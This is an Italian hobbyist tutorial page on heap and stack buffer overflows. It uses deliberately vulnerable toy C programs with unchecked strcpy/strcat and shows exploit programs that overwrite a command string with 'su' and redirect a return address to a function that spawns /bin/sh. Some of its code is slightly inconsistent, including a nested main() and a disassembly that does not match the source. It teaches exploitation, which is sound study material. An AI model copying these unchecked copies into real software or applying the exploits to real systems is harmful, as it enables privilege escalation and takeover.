.:HoMe:.     .:CrackMe:.     .:My ProGGie:.     .:BuGs & ExpLoiTs:.     .:TOoLs:.     .:VaRiE:.

Realizzato da NoRpiUs

Cosa sono i Buffer Overflows?
Mettiamo caso che un programma effettui una copia senza controllo del valore della variabile A (di 100 Byte) nella variabile B (che può contenere al massimo 70 Byte). A copia effettuata secondo voi che sarà successo nella memoria del programma? 
Bè i 30 Byte in più copiati, traboccheranno (Overflow) dalla variabile B e andranno a sovrascrivere i 30 Byte ad essa adiacenti. A questo punto potranno succedere tante cose: ad esempio in quei 30 byte poteva esserci la zona di allocazione di un' altra variabile, quindi saremo andati a modificarvi il contenuto (Buffer Overflow di Heap) oppure poteva esserci una porzione di codice esecutivo (Buffer Overflow di Stack), quindi andandolo a sovrascrivere con dei byte, che di norma non costituiranno un codice esecutivo, faranno crashare il processo. Da qui penso che avrete cominciato a capire il metodo di funzionamento di un Overflow del Buffer... Esistono quindi due tipi di Buffer Overflow:
il Buffer Overflow di Heap e il Buffer Overflow dello Stack.

BoF di heap:

Come gia detto questo tipo di bof va a sovrascrivere una variabile, ma e' molto raro trovare questo tipo di bof al giorno d'oggi. Cmq analizziamo il seguente programma:

--- inizio codice prog.c ---

  main (int argc, char *argv[]){

  char comando[20];
  char var1[10];

  strcpy(comando,"ls");
  strcpy(var1,argv[1]);
  printf(var1);

  system(comando);
}

--- fine codice prog.c ---

Questo programma prende una stringa da input e la copia nella variabile var1 (SENZA VERIFICA DELLA DIMENSIONE), prende la stringa "ls" e la copia nella variabile comando e dopo esegue la stringa contenuta in comando (che e' ls, quindi ci fara' vedere i file che ci sono nella dir dove lanciamo il programma). Ok, compiliamolo e ora analizziamo il seguente programma:

--- inizio codice prog2.c ---

  main (int argc, char *argv[]){

  char comando[20];
  char var1[10];

  strcpy(comando,"ls");
  strcpy(var1,argv[1]);
  printf(var1);

  //codice aggiunto
  char *p;
  int i;

  p=&var1[0];
  for (i = 0; i <= 25; i++){
  printf("\n %d: %p = %c",i,p,*p);
  p++;
  }
 
  //end codice aggiunto

  system(comando);
  }

--- fine codice prog2.c ---

Il codice che abbiamo aggiunto non fa altro che stamparci la memoria del programma e i corrispondenti indirizzi a partire dal primo carattere della variabile var1. Non sto qui a spiegarvi i vari comandi che ho usato, questo non è un manuale di c...
Vi consiglio comunque di andarvi a studiare le variabili puntatore, sempre se gia non le conoscete, e vedrete che il codice che ho riportato sarà molto più chiaro. 
Otterremo una cosa del genere (probabilmente gli indirizzi di memoria non saranno gli stessi, non preoccupatevi!):

[luca@localhost boff]$ ./prog2 norpius
norpius
0: 0xbffff580 = n
1: 0xbffff581 = o
2: 0xbffff582 = r
3: 0xbffff583 = p
4: 0xbffff584 = i
5: 0xbffff585 = u
6: 0xbffff586 = s
7: 0xbffff587 =
8: 0xbffff588 = !
9: 0xbffff589 = W
10: 0xbffff58a =
11: 0xbffff58b = @
12: 0xbffff58c =
13: 0xbffff58d =
14: 0xbffff58e =
15: 0xbffff58f =
16: 0xbffff590 = l
17: 0xbffff591 = s
18: 0xbffff592 =
19: 0xbffff593 =
20: 0xbffff594 =
21: 0xbffff595 =
22: 0xbffff596 =
23: 0xbffff597 =
24: 0xbffff598 = ¨
prog prog2 prog2.c prog.c
25: 0xbffff599 = õ[luca@localhost boff]$

Come si nota ogni carattere appartiene ad un corrispondente elemento dell'array. Forse vi starete chiedendo: ma perchè se in alcuni elementi dell'array di var1 vi sono dei simbolacci, tuttavia var è pari solo a "norpius"? Bè la risposta è semplice: il compilatore capisce che la stringa è finita con la "s" di norpius perché subito dopo di essa c'è un carattere null, quindi tutto quello che c'è dopo non viene considerato.

Se per esempio noi passassimo come input al nostro programmino una stringa di 20 caratteri cosa succederebbe???? Bè i caratteri l - s verranno sovrascritti!!! Quindi se organizziamo per benino un stringa da passargli come input potremmo sovrascrivere ls come ci pare!!!

Per esempio se gli passassimo la stringa: xxxxxxxxxxxxxxxxsu
che succederebbe??? Beh, proviamo!

[luca@localhost boff]$ ./prog2 xxxxxxxxxxxxxxxxsu
xxxxxxxxxxxxxxxxsu
0: 0xbffff570 = x
1: 0xbffff571 = x
2: 0xbffff572 = x
3: 0xbffff573 = x
4: 0xbffff574 = x
5: 0xbffff575 = x
6: 0xbffff576 = x
7: 0xbffff577 = x
8: 0xbffff578 = x
9: 0xbffff579 = x
10: 0xbffff57a = x
11: 0xbffff57b = x
12: 0xbffff57c = x
13: 0xbffff57d = x
14: 0xbffff57e = x
15: 0xbffff57f = x
16: 0xbffff580 = s
17: 0xbffff581 = u
18: 0xbffff582 =
19: 0xbffff583 =
20: 0xbffff584 =
21: 0xbffff585 =
22: 0xbffff586 =
23: 0xbffff587 =
24: 0xbffff588 =
[root@localhost boff]#

Considerando che io ho la root senza password, sono diventato root perche' la stringa che gli abbiamo passato da input ha sovrascritto la stringa "ls" con un "su" che, come tutti sappiamo, fa appunto diventare root (grazie anche alle x che abbiamo messo per riempire lo spazio tra var1 e comando). Perfetto, ora possiamo scriverci il nostro bel exploit:

--- inizio exploit.c ---

main (){

char comando[50];
char shellcode[]="./prog xxxxxxxxxxxxxxxx";

printf("Inserire il comando da eseguire: ");
scanf("%s",comando);

strcat(shellcode,comando);
system(shellcode);

}

--- fine codice exploit.c ---

Proviamo....

[luca@localhost boff]$ ./exploit
Inserire il comando da eseguire: su
[root@localhost boff]#

Ed ecco qui il nostro exploitino. Perché non provate a vedere se anche questo è exploitabile? Certo che è exploitabile! C'è uno strcat() senza controllo!! Provate! :)


BoF dello stack:

Il Buffer overflow dello stack è molto più complesso di quello di heap che ho precedentemente illustrato, tuttavia lo spiegherò utilizzando programmini molto semplici in modo da ridurre al minimo la difficoltà.

Consideriamo il seguente codice:

--- inizio prog1.c ---

function() {

  char *sh[2];               /* Fa eseguire una shell bash.. giusto per rendere il programma *
  sh[0]="/bin/sh";            * piu spettacolare                                                           */
  sh[1]=NULL;
  execve(sh[0],sh,NULL);
}

main (int argc, char *argv[]) {
  char var[10];
  strcpy(var,argv[1]);
}

--- fine codice prog1.c ---


Questo programma fa una cosa semplicissima: prende un stringa in input e la assegna alla variabile argv; poi effettua una copia (SEMPRE NON CONTROLLATA) del contenuto di argv in var. In più vi è una funzione dichiarata (function) che apre una shell bash ma che tuttavia non viene richiamata da nessuna parte del main, quindi normalmente rimane inutilizzata. Bè il nostro scopo è proprio quello di richiamare tale funzione utilizzando un buffer overflow!!! In questo caso, a differenza del Buffer Overflow di heap, non ci servirà il codice sorgente del programma. Bada bene che comunque anche per scrivere exploit che sfruttano buffer overflow di heap non è necessario avere il codice del programma, basta infatti un semplice editor di memoria. Comunque, compiliamo il nostro programmino e iniziamo a testarlo... proviamo man mano ad inserir sempre stringhe più lunghe, dato che comunque il nostro scopo è un overflow di var.

[root@localhost boff]# ./prog1 bushghey
[root@localhost boff]# ./prog1 bushgheyyyyyyyyyyyyyyyyyyy
[root@localhost boff]# ./prog1 bushgheyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Segmentation fault

ohhhhhhhhhh ci viene restituito un errore.. il che vuol dire che e' stata richiamata una zona di memoria che non conteneva un indirizzo di ritorno giusto (forse perche' e' stata sovrascritta chissa' :P).
Ora come sappiamo le varie "y" della stringa sono andate a traboccare var1, modificando l'indirizzo di ritorno. Ragionando un attimo quindi possiamo dire che se sovrascriviamo l'indirizzo di ritorno con l'indirizzo della nostra function verrebbe rilasciata tale funzione!! Quindi prima cosa fare e' sapere l'indirizzo della nostra function. Apriamo il gdb.

[root@localhost boff]# gdb prog1
GNU gdb 5.3-22mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) disas function
Dump of assembler code for function function:
0x804839c <function>: push %ebp
0x804839d <function+1>: mov %esp,%ebp
0x804839f <function+3>: sub $0x8,%esp
0x80483a2 <function+6>: sub $0xc,%esp
0x80483a5 <function+9>: push $0x80484a8
0x80483aa <function+14>: call 0x80482b0 <printf>
0x80483af <function+19>: add $0x10,%esp
0x80483b2 <function+22>: sub $0xc,%esp
0x80483b5 <function+25>: push $0x0
0x80483b7 <function+27>: call 0x80482c0 <exit>
End of assembler dump.

Come possiamo notare l'indirizzo della prima istruzione di function() e quindi l'indirizzo della stessa function() è 0x804839c. Ricordiamocelo.

Torniamo adesso sul nostro prog e cerchiamo di capire qual’è il buffer che satura completamente la memoria della variabile senza però sovrascrivere l'indirizzo a cui punta la call. Per far questo facciamo un pò di prove... Dopo qualche tentativo ci rendiamo conto che il buffer che satura la memoria è di 27 Byte, infatti provando ad inserirne anche solo 28 ci viene restituito il famoso errore. Quindi facciamoci un bel shellcode per richiamare quella funzione.

Lo shellcode:

Innanzitutto cos’è lo shellcode???
Lo shellcode è quel buffer, che dato come input ad un processo, agisce nella memoria, con metodi che ho finora descritto, generando una shell remota o locale, che ci permette di avere pieno possesso della macchina. Tuttavia, mentre nel primo esempio l'exploit apre una shell , nel secondo caso avvia semplicemente una funzione, quindi non può essere definito un vero shellcode... comunque per noi va bene lo stesso :)
In effetti neanche il buffer del primo esempio è uno shellcode, perché non rappresenta nessun codice asm che avvia una shell, ma semplicemente fa in modo da avviare una shell modificando una variabile.
Nel primo programma che abbiamo esaminato lo shellcode era proprio "xxxxxxxxxxxxxxxxcmd", mentre nel secondo era costituito dalle 28 "y" + i caratteri ASCII dell'indirizzo HEX 0x804839c, naturalmente inseriti in memoria al contrario... proprio per il fatto dello stack... (a far questo ci pensa comunque l'exploit stesso, noi glie li passiamo nell'ordine normale). La differenza tra i due è che il primo da punto di vista "grafico" è molto semplice, ricordabile anche a memoria e facilmente scrivibile, anche senza l'ausilio di un exploit; il secondo invece, a parte per le "a", è molto complesso; infatti poiché i caratteri ASCII corrispondenti all' HEX dell'indirizzo 0x804839c sono veramente strani... e scrivibili sono con le combinazioni di tasti ALT+... un macello insomma... che è facilmente raggirabile scrivendo un exploit come abbiamo fatto o nei casi di programmi più complessi scrivendo appunto uno shellcode, ma non in caratteri ASCII, bensì in caratteri esadecimali (molto più semplici da scrivere e gestire), che poi l'exploit convertirà in caratteri ASCII per noi e li passerà al programma da exploitare :) carino vero???
Naturalmente non possiamo passare lo shellcode in HEX a mano al programma, altrimenti succederebbe solo casino e il programma crasherebbe per segmentation fault come al solito; lo shellcode in HEX è solo una visione piu facile dello shellcode in ASCII, ma comunque al programma va passato in ASCII e non in HEX.

Torniamo a noi .... mmm... vediamo un pò...
Dobbiamo scrivere 28 char a caso giusto per riempire la memoria (usiamo 0x61) e poi l'indirizzo di ritorno, naturalmente al contrario sempre per il motivo dello stack. Quindi...
mettendo uno "\" al posto dello "0" otteniamo:


char shellcode[] =     "\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
                             "\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
                             "\x61\x61\x61\x61\x61\x61\x61\x9c\x83\x04\x08";

Oltre a questo shellcode potevate anche scriverne uno in cui vengono mantenuti gli zeri, ma in cui tutte le cifre vanno separate da virgole:

char shellcode[]= {0x61,0x61,0x61....};
Ma comunque a me piace di più il primo. Potete scriverlo come vi pare, l'importante è che quando viene riportato in ASCII abbia la forma corretta.

Ora non ci resta altro che scrivere un piccolo exploitino che passa al programma il nostro shellcode, naturalmente convertito in caratteri ASCII. Allora, vediamo un pò che ne pensate di questo:

--- inizio exploit2.c ---


  main() {
  char shellcode[] = 

      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    /* NOP = No operation             */
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    /* Giusto per riempire un po'     */
      "\x90\x90\x90\x90\x90\x90\x90\x90"                /* la memoria....... come 0x61  */
      "\x9c\x83\x04\x08";                                      /* 0x804839c al contrario        */

  main () {

  char lancia[40];

  strcpy(lancia,"./prog1 ");
  strcat(lancia,shellcode);
  system(lancia);
}


--- fine codice exploit2.c ---

Proviamolo........

[luca@localhost boff]$ ./exploit2
sh-2.05b$

E come vediamo la nostra function e' stata richiamata grazie alla sovrascrittura dell'indirizzo di ritorno...

Questo è un exploit semplicissimo, realizzabile in poco tempo, che però come avete potuto notare ci permette solo di cambiare una piccola porzione di codice nella memoria per richiamare una funzione o un indirizzo di memoria a nostro piacere. Non che sia poco, anzi può essere utile in molti casi,ad esempio puoi utilizzarlo anche per creare un loop infinito in un processo e quindi far impallare tutta la macchina. Il Buffer Overflow dello Stack può comunque essere usato per creare exploit molto più potenti e complessi, come per esempio quelli per processi cruciali per un sistema, come lo può essere per esempio un server. Spero che questa guida sia stata di vostro gradimento. Alla prossima gente!!

 

Sito ottimizzato per:
Browser: I.E.
Risoluzione: 1024 x 768
.:ReVeRsiNg:.     .:CoNTaCt Me:.     .:LiNks:.     .:ThaNksTo:.     .:FuCkTo:.